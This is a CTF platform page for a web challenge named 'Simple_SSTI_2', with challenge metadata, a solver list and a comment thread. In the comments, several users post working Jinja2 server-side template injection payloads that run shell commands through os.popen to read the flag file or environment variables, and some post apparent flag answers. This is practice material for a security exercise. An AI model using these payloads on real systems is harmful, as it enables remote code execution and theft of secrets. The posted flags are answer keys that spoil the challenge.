Simple_SSTI_2WEB 未解决
分数:
10
金币:
3
题目作者:
valecalida
一 血:
Tokeii
一血奖励:
3金币
解 决:
15913
提 示:
描 述:
Simple_SSTI_2
评分(15)
解题动态

nina123 攻破了该题 1天前

33538626867 攻破了该题 1天前

qgys 攻破了该题 2天前

19189756057 攻破了该题 3天前

吃个大西瓜 攻破了该题 3天前

wywfzy 攻破了该题 4天前

wangzhuo 攻破了该题 4天前

当心眼睛 攻破了该题 5天前

小手冰凉 攻破了该题 6天前

c2F1eQ 攻破了该题 7天前

2183919422 攻破了该题 8天前

11111in 攻破了该题 8天前

lvxiaobu 攻破了该题 10天前

lulai 攻破了该题 10天前

Qiuqiu426 攻破了该题 11天前

13990684015 攻破了该题 15天前

3177919928 攻破了该题 15天前

ch2025 攻破了该题 15天前

VFlame 攻破了该题 15天前

评论
hao7 4月前
举报
?flag={%for(x)in().__class__.__base__.__subclasses__()%}{%if'war'in(x).__name__ %}{{x()._module.__builtins__['__import__']('os').popen('cat flag').read()}}{%endif%}{%endfor%}
超爱西西鸭 6月前
举报
/?flag={{config.__class__.__init__.__globals__[%27os%27].popen(%27cat%20../app/flag%27).read()}}
pettter 7月前
举报
?id={{config.__class__.__init__.__globals__['os'].popen('printenv').read()}}
不会写代码的菜鸟 8月前
举报
大佬们,为啥不能直接flag={{os.popen('cat ../app/flag').read()}}还需要加上那么多前缀
qingchuan 7月前
举报
因为没有import os,os是未定义的
q1152874733 8月前
举报
http://114.67.175.224:11052/?flag={{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('cat flag').read()")}}
Royic 9月前
举报
/?flag={{config.__class__.__init__.__globals__['os'].popen('grep -r flag{ ./').read()}}
sz007 9月前
举报
flag{6c85015e98aa08e245d15289704dfd8b}
如你所愿 9月前
举报
flag{5566f3c3cc3821f4a768384d2a387aae}
109349 9月前
举报
flag{2682096b09e88fe5f1faee731c0d36d7}
z0shell 10月前
举报
/?flag={{config.__class__.__init__.__globals__['os'].popen('cat ../app/flag').read()}}
Masterk 9月前
举报
这是怎么想出来的。。